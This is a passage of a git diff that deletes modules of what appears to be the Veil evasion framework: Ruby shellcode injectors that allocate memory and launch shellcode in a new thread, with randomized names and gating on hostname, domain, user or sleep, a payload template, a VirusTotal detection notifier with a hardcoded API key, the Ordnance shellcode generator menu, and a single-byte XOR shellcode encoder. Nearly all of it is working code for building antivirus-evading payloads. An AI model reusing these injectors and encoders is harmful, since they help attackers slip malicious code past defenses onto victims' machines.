valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n" - payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n" - payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n" - payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n" - payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n" - payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n" - payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/ruby/shellcode_inject/flat.py b/Tools/Evasion/payloads/ruby/shellcode_inject/flat.py deleted file mode 100644 index 0e01df5..0000000 --- a/Tools/Evasion/payloads/ruby/shellcode_inject/flat.py +++ /dev/null @@ -1,108 +0,0 @@ -""" -Ruby inline shellcode injector - -TODO: better randomization -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "VirtualAlloc pattern for shellcode injection" - self.language = "ruby" - self.extension = "rb" - self.rating = "Normal" - self.name = "Ruby Flat Injection" - self.path = "ruby/shellcode_inject/flat" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "USERNAME" : ["X", "Optional: The required user account"], - #"MINRAM" : ["X", "Optional: Minimum amount of ram on target"], - #"USERPROMPT" : ["X", "Optional: Prompt user prior to execution"], - #"DISKSIZE" : ["X", "Optional: Set minimum disk size"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - payload_code = "require 'rubygems'\n" - payload_code += "require 'win32/api'\n" - payload_code += "include Win32\n" - - # Add logic for adding this line, stupid bug and I have no idea - # why this is even a problem, but ruby is dumb - if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": - pass - else: - payload_code += "exit if Object.const_defined?(:Ocra)\n" - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate out variable names - payloadName = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - threadName = evasion_helpers.randomString() - heap_name = evasion_helpers.randomString() - valloc_random = evasion_helpers.randomString() - rtlmove_random = evasion_helpers.randomString() - createthread_random = evasion_helpers.randomString() - waitfor_random = evasion_helpers.randomString() - heapcreate_random = evasion_helpers.randomString() - heapalloc_random = evasion_helpers.randomString() - rand_protect = evasion_helpers.randomString() - protect_out = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n" - payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode) - payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n" - payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" - payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode) - payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n" - payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n" - payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" - - # Close out all the if statements - for iteration in range(num_ends_required): - payload_code += 'end\n' - - self.payload_source_code = payload_code - return \ No newline at end of file diff --git a/Tools/Evasion/payloads/template.py b/Tools/Evasion/payloads/template.py deleted file mode 100644 index d371443..0000000 --- a/Tools/Evasion/payloads/template.py +++ /dev/null @@ -1,60 +0,0 @@ -""" -Description of the payload - -Additional notes, sources, links, etc - -Module built by @ -""" - -# framework import to access shellcode generation -from modules.common import shellcode - -# framework import to access common helper methods, including randomization -from modules.common import helpers - -# framework import to access encryption and source code obfuscation methods -from modules.common import encryption - -# the main config file -import settings - -# Main class must be titled "Payload" -class Payload: - - def __init__(self): - # required options - self.description = "description" - self.language = "python/cs/powershell/whatever" - self.rating = "Poor/Normal/Good/Excellent" - self.extension = "py/cs/c/etc." - - self.shellcode = shellcode.Shellcode() - # options we require user ineraction for- format is {OPTION : [Value, Description]]} - # the code logic will parse any of these out and require the user to input a value for them - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"] - } - - # an option note to be displayed to the user after payload generation - # i.e. additional compile notes, or usage warnings - self.notes = "...additional notes to user..." - - # main method that returns the generated payload code - def generate(self): - - # Generate Shellcode Using msfvenom - Shellcode = self.shellcode.generate(self.required_options) - - # build our your payload sourcecode - PayloadCode = "..." - - # add in a randomized string - PayloadCode += helpers.randomString() - - # example of how to check the internal options - if self.required_options["USE_PYHERION"][0].lower() == "y": - PayloadCode = encryption.pyherion(PayloadCode) - - # return everything - return PayloadCode diff --git a/Tools/Evasion/scripts/vt-notify/README.md b/Tools/Evasion/scripts/vt-notify/README.md deleted file mode 100644 index d041167..0000000 --- a/Tools/Evasion/scripts/vt-notify/README.md +++ /dev/null @@ -1,10 +0,0 @@ -Virus Total Notifier -========= - -This is a fork of Mubix's original VT-notifier script (https://github.com/mubix/vt-notify). - -Modifications from the original: - - -Gmail gem utilization added in (gem install gmail) - -hash list can be hash:exename - -t 0 defaults to a single run diff --git a/Tools/Evasion/scripts/vt-notify/vt-notify.rb b/Tools/Evasion/scripts/vt-notify/vt-notify.rb deleted file mode 100755 index d855ed8..0000000 --- a/Tools/Evasion/scripts/vt-notify/vt-notify.rb +++ /dev/null @@ -1,242 +0,0 @@ -#!/usr/bin/env ruby -# encoding: utf-8 -# -# Slightly modified version of VT-Notify that -# accepts gmail credentials for alerting. -# -# All credit to mubix https://github.com/mubix/vt-notify -# - - -$PROGRAM_NAME = 'VirusTotalNotifier' - -# Require 'rubygems' # Uncomment this for use w/ ruby 1.8.7 -require 'json' -require 'net/http' -require 'digest/sha1' -require 'optparse' -require 'net/smtp' - -def send_email(to,opts={}) - # http://fuelyourcoding.com/emailify-your-app-with-gmail-and-ruby/ - Gmail.new($gmailusername, $gmailpassword) do |gmail| - gmail.deliver do - to "#{to}" - subject "Virus Total Detection" - text_part do - body "#{opts[:body]}" - end - end - end -end - - -def getsha1(filename) - begin - contents = open(filename, "rb") {|io| io.read } - sha1 = Digest::SHA1.hexdigest(contents) - return sha1 - rescue - return - end -end - -def ping_vt(resource) - url = 'http://www.virustotal.com/vtapi/v2/file/report' - uri = URI.parse(url) - response = Net::HTTP.post_form(uri, {"apikey" => $apikey, "resource" => resource}) - return response -end - -def breakuplist(hashlist) - hashgroup = [] - (0.step(hashlist.size, 25)).each do |x| - hashgroup << hashlist[x..(x+25)] - end - return hashgroup -end - -def parse_results(result, hashNameList) - if result['response_code'] == 0 - $notfound += 1 - return - else - $found << result['resource'] - puts "#{result['resource']}:#{hashNameList[result['resource']]} was found #{result['positives']} out of #{result['total']} on #{result['scan_date']}" - end -end - -######### MAIN ############# -argcheck = 0 - -# Parse arguments -OptionParser.new do |o| - o.on('-e EMAIL // email address of who to notify upon detection, will only log to file if not specified') { |emailaddr| $emailaddr = emailaddr } - o.on('-c CREDFILE // file a username[tab] password of gmail account to send through, defaults to creds.txt') { |credfile| $credfile = credfile; argcheck = 1 } - o.on('-s FILENAME // file name of binary to keep track of') { |binname| $binname = binname; argcheck = 1 } - o.on('-S SHA1 // single SHA1 to keep track of') { |sha1arg| $sha1arg = sha1arg; argcheck = 1 } - o.on('-f FILENAME // file containing sha1 hashes of files to keep track of') { |hashfilename| $hashfilename = hashfilename; argcheck = 1 } - o.on('-d DIRECTORY // directory of binaries keep track of') { |directory| $directory = directory; argcheck = 1 } - o.on('-a APIKEYFILENAME // file contianing API key hash on first line, defaults to apikey.txt') { |apikeyfile| $apikeyfile = apikeyfile} - o.on('-l LOGFILENAME // file to write/read positive entries to/from, defaults to results.log') { |logfilename| $logfilename = logfilename} - o.on('-i INTERVAL // how often VT is checked, defaults to every 30 minutes. Use 0 for a single run.') { |interval| $interval = interval.to_i } - o.on('-h') { puts o; exit } - o.parse! -end - -if argcheck == 0 - puts 'No hash input arguments specified. Exiting' - exit -end - -# Make sure arguments have something useful -$interval ||= 1800 # 10 minutes in seconds -$found = [] -$logfilename ||= 'results.log' -$apikeyfile ||= 'apikey.txt' -$credfile ||= 'creds.txt' - -# See the following blog post, but since API limits are based on KEY+IP, -# the VT peeps recommend using an application specific key distributed w/ the tool: -# http://blog.virustotal.com/2012/12/public-api-request-rate-limits-and-tool.html - -begin - $apikey = File.open($apikeyfile) {|f| f.readline.strip} -rescue Errno::ENOENT - puts 'API key file not found. Using built-in: e09d42ac15ac172f50c1e340e551557d6c46d2673fc47b53ef5977b609d5ebe5' - $apikey = 'e09d42ac15ac172f50c1e340e551557d6c46d2673fc47b53ef5977b609d5ebe5' -end - -begin - $gmailcreds = File.open($credfile) {|f| f.readline.strip} - $gmailusername = $gmailcreds.split[0] - $gmailpassword = $gmailcreds.split[1] -rescue Errno::ENOENT - puts 'Gmail credentials not found, can\'t send email...' -end - -puts "Using API key: #{$apikey}" - - -loop { - - hashlist = [] - hashNameList = Hash.new - - if $binname - begin - sha = getsha1($binname) - hashlist << sha - hashNameList[$binname] = sha - rescue Errno::ENOENT - puts 'Binary not found, exiting' - exit - end - end - - if $hashfilename - begin - File.open($hashfilename, 'r').each_line do |line| - hash, name = line.strip.split(":") - hashlist << hash - hashNameList[hash] = name - end - rescue Errno::ENOENT - puts 'Hash file not found, exiting' - exit - end - end - - if $sha1arg - hashlist << $sha1arg - hashNameList[$sha1arg] = nil - end - - if $directory - begin - wd = Dir.getwd - Dir.chdir($directory) - filelist = Dir['**/*'].reject {|fn| File.directory?(fn)} - puts 'Generating SHA1 of all files in directory recursively, this could take a while' - puts 'This is done each for each check just in case files change.' - filelist.each do |file| - sha = getsha1(file) - hashlist << sha - hashNameList[file] = sha - end - # Return to working directory - Dir.chdir(wd) - rescue Errno::ENOENT - puts 'No such folder specified for -d, please insert 5¢ and try again' - Dir.chdir(wd) - exit - end - end - - if hashlist.size == 0 - puts 'Hash list is empty for one reason or another' - puts 'I will sleep for 30 seconds and then check again' - sleep(30) - next - end - - # Remove already detected - $found.each do |removeme| - hashlist.delete(removeme) - end - - - hashgroup = [] - $notfound = 0 - hashgroup = breakuplist(hashlist) - - # Delete any empty groups as a result of the list being divisible by 25 - hashgroup.delete([]) - - # Puts hashgroup.inspect - apiminutelimit = 1 - hashgroup.each do |group| - response = ping_vt(group.join(',')) - if apiminutelimit == 4 - puts 'Virus Total API limits 4 requests per minute, limit reached, sleeping for 60 seconds' - apiminutelimit = 0 - sleep(60) - else - apiminutelimit += 1 - end - - if response.body != nil - results = JSON.parse(response.body) - - if results.class == Array - results.each do |result| - parse_results(result, hashNameList) - end - elsif results.class == Hash - parse_results(results, hashNameList) - end - else - puts "No response from Virus Total, delaying for 10 seconds and trying again..." - sleep(10) - redo - end - end - - #system("clear") - puts "" - puts " ======================================" - puts " VT-Notify RESULTS " - puts " ======================================" - puts " Checked: #{hashlist.size}" - puts " Not found: #{$notfound.to_s}" - puts " Found: #{$found.size}" - puts "" - - if ($interval == 0) - puts "single check complete, exiting" - exit - else - puts "check complete, sleeping for #{$interval} seconds" - sleep($interval) - end -} diff --git a/Tools/Ordnance/Tool.py b/Tools/Ordnance/Tool.py deleted file mode 100644 index 159e7c7..0000000 --- a/Tools/Ordnance/Tool.py +++ /dev/null @@ -1,393 +0,0 @@ -""" -This is the Veil-Ordnance module -""" - -import glob -import imp -import readline -import sys -from lib.common import helpers -from lib.common import completer -from tools.ordnance.ordnance_common import ordnance_helpers -from tools.ordnance.encoders import * -from tools.ordnance.payloads.x86 import * - - -class Tools: - - def __init__(self, cli_options=None): - self.cli_name = "Ordnance" - self.description = "Generates shellcode for supported payloads" - # all encoders within the encoders directory - self.active_encoders = {} - # Payloads currently within the x86 payload directory - self.active_shellcode = {} - # Load all encoder modules - self.load_encoders(cli_options) - # Load all payload modules - self.load_payloads(cli_options) - self.command_options = cli_options - self.ordnance_main_menu_commands = { - "list": "List available [payloads] or [encoders]", - "payload": "Use a specific payload", - "info": "Information on a specific payload or encoder", - "exit": "Exit Veil", - "back": "Go to main Veil menu"} - self.final_shellcode = '' - self.shellcode_option_commands = { - "set": "Set shellcode option", - "generate": "Generate the shellcode", - "back": "Go back", - "exit": "Completely exit Veil", - "options": "Show the shellcode's options" - } - # Used to track if invoked by another tool - self.invoked = False - self.selected_payload = '' - self.payload_options = {} - - def cli_menu(self, invoked=False): - # Check to see if we're just listing payloads or encoders - # If so, do that and then exit - if self.command_options.list_payloads: - self.print_payloads() - sys.exit() - elif self.command_options.list_encoders: - self.print_encoders() - sys.exit() - # Now let's check for payloads we're doing - if self.command_options.ordnance_payload: - payload_found = False - for payload in self.active_shellcode.values(): - if self.command_options.ordnance_payload.lower() == payload.cli_name: - payload_found = True - if "LHOST" in payload.required_options: - valid_ip = helpers.validate_ip(self.command_options.ip) - valid_hostname = helpers.validate_hostname(self.command_options.ip) - if valid_ip: - payload.required_options["LHOST"][0] = self.command_options.ip - elif valid_hostname: - if payload.cli_name == 'rev_tcp_dns': - payload.required_options["LHOST"][0] = self.command_options.ip - else: - print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - else: - print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - if "LPORT" in payload.required_options: - if 0 < self.command_options.port < 65535: - payload.required_options["LPORT"][0] = self.command_options.port - else: - print(helpers.color("[*] Error: Invalid port number provided!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - # Generate the original shellcode - payload.cli_gen_shellcode() - self.final_shellcode = payload.customized_shellcode - # Check if an encoder is being called by the user - if self.command_options.encoder is not None: - encoder_found_here = False - if "BadChars" in payload.required_options: - payload.required_options["BadChars"][0] = self.command_options.bad_chars - for loaded_encoder in self.active_encoders.values(): - if self.command_options.encoder.lower() == loaded_encoder.cli_name: - encoder_found_here = True - loaded_encoder.cli_encode(payload) - if not encoder_found_here: - print(helpers.color("[*] Error: Encoder you specified was not found!", warning=True)) - print(helpers.color("[*] Try again?", warning=True)) - sys.exit() - self.final_shellcode = payload.customized_shellcode - if invoked: - pass - else: - payload.payload_stats() - - # If the payload supplied isn't found - if not payload_found: - print(helpers.color("[*] Error: You specified a non-existent Ordnance payload!", warning=True)) - print(helpers.color("[*] Go to start... do not collect $200!", warning=True)) - sys.exit() - - def load_encoders(self, cli_args): - for name in glob.glob('tools/ordnance/encoders/*.py'): - if name.endswith(".py") and ("__init__" not in name): - loaded_encoder = imp.load_source( - name.replace("/", ".").rstrip('.py'), name) - self.active_encoders[name] = loaded_encoder.EncoderModule(cli_args) - return - - def load_payloads(self, cli_args): - for name in glob.glob('tools/ordnance/payloads/x86/*.py'): - if name.endswith(".py") and ("__init__" not in name): - loaded_payloads = imp.load_source( - name.replace("/", ".").rstrip('.py'), name) - self.active_shellcode[name] = loaded_payloads.ShellcodeModule(cli_args) - return - - def print_encoders(self): - print("Available Encoder Modules") - print("Command Line Name => Description") - print("-" * 79) - print() - for encoder_module in self.active_encoders.values(): - print(helpers.color(encoder_module.cli_name) + " => " + encoder_module.name) - return - - def print_shellcode_option_commands(self): - print("Available Commands: \n") - for name in sorted(self.shellcode_option_commands.keys()): - print('\t' + '{0: <8}'.format(name) + "\t\t" + '{0: <8}'.format(self.shellcode_option_commands[name])) - - def print_options_screen(self, pload_object): - ordnance_helpers.title_screen() - print("Payload: " + helpers.color(pload_object.cli_name) + " selected\n") - print(helpers.color("Required Options:\n")) - print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) - print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) - for opt_name in sorted(pload_object.required_options.keys()): - print('{0: <16}'.format(opt_name) + '\t' + '{0: <8}'.format(pload_object.required_options[opt_name][0]) + '\t' + pload_object.required_options[opt_name][1]) - print() - self.print_shellcode_option_commands() - print() - return - - def print_payloads(self): - print("Available Payload Modules") - print("Command Line Name => Description") - print("-" * 79) - print() - for payload in self.active_shellcode.values(): - print(helpers.color(payload.cli_name) + " => " + payload.name) - return - - def tool_main_menu(self, invoked=False): - # This is the main function where everything is called from - # Iterate over payloads and find the user selected payload module - # invoked is used when another tool is calling this function - ordnance_main_command = '' - show_ordnance_menu = True - if invoked: - self.invoked = True - - while ordnance_main_command == '': - - if show_ordnance_menu: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() - show_ordnance_menu = True - - ordnance_main_command = input('Veil-Ordnance command: ').strip() - - # See if we're listing payloads or encoders - if ordnance_main_command.lower().startswith('list'): - - if len(ordnance_main_command.split()) == 1: - print() - print(helpers.color("[*] Error: You did not provide what you want to list!", warning=True)) - print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) - print() - ordnance_main_command = '' - show_ordnance_menu = False - - elif len(ordnance_main_command.split()) == 2: - - list_selection = ordnance_main_command.split()[1] - - # Check and see what we are listing - if list_selection.lower() == 'payloads': - ordnance_helpers.title_screen() - self.print_payloads() - show_ordnance_menu = False - print() - ordnance_main_command = '' - - elif list_selection.lower() == 'encoders': - ordnance_helpers.title_screen() - self.print_encoders() - show_ordnance_menu = False - print() - ordnance_main_command = '' - - else: - show_ordnance_menu = False - print() - print(helpers.color("[*] Error: You did not provide a valid item to list!", warning=True)) - print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) - print() - ordnance_main_command = '' - - else: - ordnance_main_command = '' - - elif ordnance_main_command.lower() == "help": - ordnance_main_command = '' - - elif ordnance_main_command.lower() == "back": - ordnance_main_command = '' - break - - elif ordnance_main_command.lower() == "exit": - if invoked: - break - else: - sys.exit(0) - - elif ordnance_main_command.lower().startswith('payload'): - if len(ordnance_main_command.split()) < 2: - print(helpers.color("[*] Error: You did not provide the payload to use!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) - ordnance_main_command = '' - elif len(ordnance_main_command.split()) > 2: - print(helpers.color("[*] Error: You provided too many options!", warning=True)) - print(helpers.color("[*] Ex: use rev_http", warning=True)) - else: - self.selected_payload = ordnance_main_command.split()[1].lower() - self.use_payload(self.selected_payload) - - # If invoked, return the shellcode - if self.invoked: - return - - if self.final_shellcode == '': - show_ordnance_menu = False - self.selected_payload = '' - ordnance_main_command = '' - - else: - ordnance_main_command = '' - return - - def use_encoder(self, incoming_pload): - encoder_found = False - for loaded_encoder in self.active_encoders.values(): - if incoming_pload.required_options["Encoder"][0].lower() == loaded_encoder.cli_name: - encoder_found = True - loaded_encoder.encode(incoming_pload) - - if not encoder_found: - print(helpers.color("[*] Error: Encoder not found! Printing non-encoded shellcode!", warning=True)) - return - - def use_payload(self, incoming_payload): - shellcode_found = False - for payload in self.active_shellcode.values(): - if incoming_payload.lower() == payload.cli_name: - shellcode_found = True - while ordnance_helpers.loop_req_options(payload): - self.print_options_screen(payload) - - while True: - comp = completer.OrdnanceCompleter(self.shellcode_option_commands, payload) - readline.set_completer_delims(' \t\n;') - readline.parse_and_bind("tab: complete") - readline.set_completer(comp.complete) - breakout = False - shellcode_command = input( - "[" + payload.cli_name + ">>]: ").lower().strip() - - # Start logic for required option commands - if shellcode_command.startswith("set"): - if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: - print(helpers.color("[*] Error: You did not provide the correct input for setting an option!", warning=True)) - print(helpers.color("[*] Error: Ex: set LHOST 192.168.18.14")) - else: - found_req_option = False - for key, value in payload.required_options.items(): - if shellcode_command.split()[1] == key.lower(): - found_req_option = True - value[0] = shellcode_command.split()[2] - if not found_req_option: - print(helpers.color("[*] Error: You didn't provide a correct option to set, please retry!", warning=True)) - elif shellcode_command == "exit": - # Completely exit out of Veil - print(helpers.color("[*] You're rage quitting all of Veil!", warning=True)) - sys.exit(0) - elif shellcode_command == "back": - # Go back to shellcode selection - shellcode_command = '' - breakout = True - break - elif shellcode_command == "generate": - lport_out = '' - lhost_out = '' - rhost_out = '' - if ordnance_helpers.loop_req_options(payload): - print(helpers.color("[*] Error: You didn't provide all the required options!", warning=True)) - else: - safe_to_generate = True - if "LHOST" in payload.required_options: - if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): - print(helpers.color("[*] Error: You didn't provide a valid IP address!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) - safe_to_generate = False - if "LPORT" in payload.required_options: - if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): - print(helpers.color("[*] Error: You didn't provide a valid LPORT value!", warning=True)) - print(helpers.color("[*] Error: Try again :)", warning=True)) - safe_to_generate = False - if safe_to_generate: - # Generate the shellcode - payload.gen_shellcode() - # Gather information to generate handler if requested - self.final_shellcode = payload.customized_shellcode - if "LHOST" in payload.required_options: - lhost_out = payload.required_options["LHOST"][0] - if "LPORT" in payload.required_options: - lport_out = payload.required_options["LPORT"][0] - if "RHOST" in payload.required_options: - rhost_out = payload.required_options["RHOST"][0] - - if lhost_out: - self.payload_options['LHOST'] = lhost_out - if lport_out: - self.payload_options['LPORT'] = lport_out - if rhost_out: - self.payload_options['RHOST'] = rhost_out - - # Check if encoder is needed - if payload.required_options["Encoder"][0] is not "None": - self.use_encoder(payload) - self.final_shellcode = payload.customized_shellcode - - # Print payload stats - payload.payload_stats() - if self.invoked: - dummy = input('\nHit enter to return to Veil-Evasion... ') - else: - dummy2 = input('\nHit enter to continue... ') - shellcode_command = '' - - if "LHOST" in payload.required_options: - payload.required_options["LHOST"][0] = '' - if "LPORT" in payload.required_options: - payload.required_options["LPORT"][0] = '' - breakout = True - break - elif shellcode_command == "options": - # Reprint the shellcode options to console - self.print_options_screen(payload) - - if breakout: - ordnance_helpers.title_screen() - print("Veil-Ordnance Menu") - print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") - print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") - print("Available Commands:\n") - for command in sorted(self.ordnance_main_menu_commands.keys()): - print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) - print() - break - - if not shellcode_found: - print(helpers.color("[*] Error: You did not provide a valid payload name, please try again!", warning=True)) - return diff --git a/Tools/Ordnance/__init__.py b/Tools/Ordnance/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/encoders/__init__.py b/Tools/Ordnance/encoders/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/encoders/xor.py b/Tools/Ordnance/encoders/xor.py deleted file mode 100644 index e443b11..0000000 --- a/Tools/Ordnance/encoders/xor.py +++ /dev/null @@ -1,200 +0,0 @@ -#!/usr/bin/env python - -""" -This xor encoder was developed completely by Justin Warner (@sixdub) -Thanks a lot for letting us add this in! - http://stackoverflow.com/questions/4020539/process-escape-sequences-in-a-string-in-python -""" - -import codecs -import re -import sys -from lib.common import helpers - - -class EncoderModule: - - def __init__(self, cli_arguments): - self.name = "Single byte Xor Encoder" - self.cli_name = "xor" - self.description = "Single byte xor shellcode encoder" - self.author = "Justin Warner (@sixdub)" - self.xor_key = 0x00 - self.shellcode = b"" - self.terminator = b'\x00' - self.encoded_shellcode = "" - self.encoded_payload_length = 0 - self.encoder_bad_chars = ["eb", "18", "5e", "8d", "3e", "31", "c0", "db", "8a", "1c", "06", "80", "f3", "88", "1f", "47", "40", "ef", "e8", "e3", "ff"] - if cli_arguments is not None: - if cli_arguments.bad_chars is not None: - self.bad_chars = cli_arguments.bad_chars - else: - self.bad_chars = None - self.misc_comments = """ - #This is the decoder stub - #<_start>: - # eb 18 jmp 40101a - - #: - #5e pop %esi - #8d 3e lea (%esi),%edi - #31 c0 xor %eax,%eax - #31 db xor %ebx,%ebx - - #: - #8a 1c 06 mov (%esi,%eax,1),%bl - #80 fb TERM cmp TERM,%bl - #74 0e je - #80 f3 KEY xor KEY,%bl - #88 1f mov %bl,(%edi) - #47 inc %edi - #40 inc %eax - #eb ef jmp - - #: - #e8 e3 ff ff ff call - """ - - def cli_encode(self, incoming_pld): - self.encode_routine(incoming_pld) - return - - def decode_escapes(self, s): - ESCAPE_SEQUENCE_RE = re.compile(r''' - ( \\U........ # 8-digit hex escapes - | \\u.... # 4-digit hex escapes - | \\x.. # 2-digit hex escapes - | \\[0-7]{1,3} # Octal escapes - | \\N\{[^}]+\} # Unicode characters by name - | \\[\\'"abfnrtv] # Single-character escapes - )''', re.UNICODE | re.VERBOSE) - - def decode_match(match): - return codecs.decode(match.group(0), 'unicode-escape') - - return ESCAPE_SEQUENCE_RE.sub(decode_match, s) - - def encode(self, incoming_pld): - self.encode_routine(incoming_pld) - return - - def encode_routine(self, incoming_payload): - self.set_bad_characters(incoming_payload) - self.set_shellcode(incoming_payload) - encode = bytearray(b"") - # This is where the encoding happens - # Test all possible keys and see if it creates a bad char. If not, we have a winner! - for test_key in range(1, 255): - if not self.have_bad_chars(self.xor(self.shellcode, test_key), self.bad_chars): - self.xor_key = test_key - break - else: - pass - - # Ensure a key was found... if not, error out - if self.xor_key == 0x00: - print("[*] ERROR: No key found... Stop being so picky and change your bad chars!") - exit - else: - # XOR all the things - # Justin, your code comments are awesome - for x in self.shellcode: - encode.append(ord(x) ^ self.xor_key) - skipped_term = 0 - - # Iterate over code to find a non-used terminating char - # that is not a badchar - for i in range(1, 255): - if i in encode or i in self.bad_chars: - 